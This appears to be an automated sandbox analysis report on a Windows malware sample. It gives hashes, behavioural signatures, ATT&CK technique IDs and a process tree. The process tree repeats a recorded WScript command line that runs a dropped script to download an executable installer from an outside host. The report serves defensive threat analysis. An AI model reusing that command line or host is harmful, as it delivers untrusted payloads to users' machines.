ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e

General

Target

ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe
Size

184KB
MD5

78dbce0a666c509a604fe15b95e7ca9c
SHA1

f871b9f413430b05d8e0e36768d9b8cdd74dde22
SHA256

ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e
SHA512

a7e38855bd65abbfcf3d34d35da12a11f2029d91ca71135621ef2b9782b8703a0021376ad8c4a3d103fc6300c7b210c7a15e5c378982036b672b90605cda952d
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Q:/7BSH8zUB+nGESaaRvoB7FJNndnd

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 16 IoCs

flow	pid	Process
4	4596	WScript.exe
5	4596	WScript.exe
17	4596	WScript.exe
20	4596	WScript.exe
31	4596	WScript.exe
40	4596	WScript.exe
55	4596	WScript.exe
66	4596	WScript.exe
72	4140	WScript.exe
73	4140	WScript.exe
82	1560	WScript.exe
83	1560	WScript.exe
88	932	WScript.exe
89	932	WScript.exe
90	2216	WScript.exe
91	2216	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	72	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	82	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	88	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	90	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 4596	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	80
PID 1100 wrote to memory of 4596	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	80
PID 1100 wrote to memory of 4596	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	80
PID 1100 wrote to memory of 4140	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	88
PID 1100 wrote to memory of 4140	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	88
PID 1100 wrote to memory of 4140	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	88
PID 1100 wrote to memory of 1560	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	89
PID 1100 wrote to memory of 1560	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	89
PID 1100 wrote to memory of 1560	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	89
PID 1100 wrote to memory of 932	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	90
PID 1100 wrote to memory of 932	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	90
PID 1100 wrote to memory of 932	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	90
PID 1100 wrote to memory of 2216	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	91
PID 1100 wrote to memory of 2216	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	91
PID 1100 wrote to memory of 2216	1100	ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe	91

C:\Users\Admin\AppData\Local\Temp\ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe
"C:\Users\Admin\AppData\Local\Temp\ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe
  2⤵
  - Blocklisted process makes network request
  PID:4596
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe
  2⤵
  - Blocklisted process makes network request
  PID:4140
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe
  2⤵
  - Blocklisted process makes network request
  PID:1560
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe
  2⤵
  - Blocklisted process makes network request
  PID:932
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe
  2⤵
  - Blocklisted process makes network request
  PID:2216

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf91A6.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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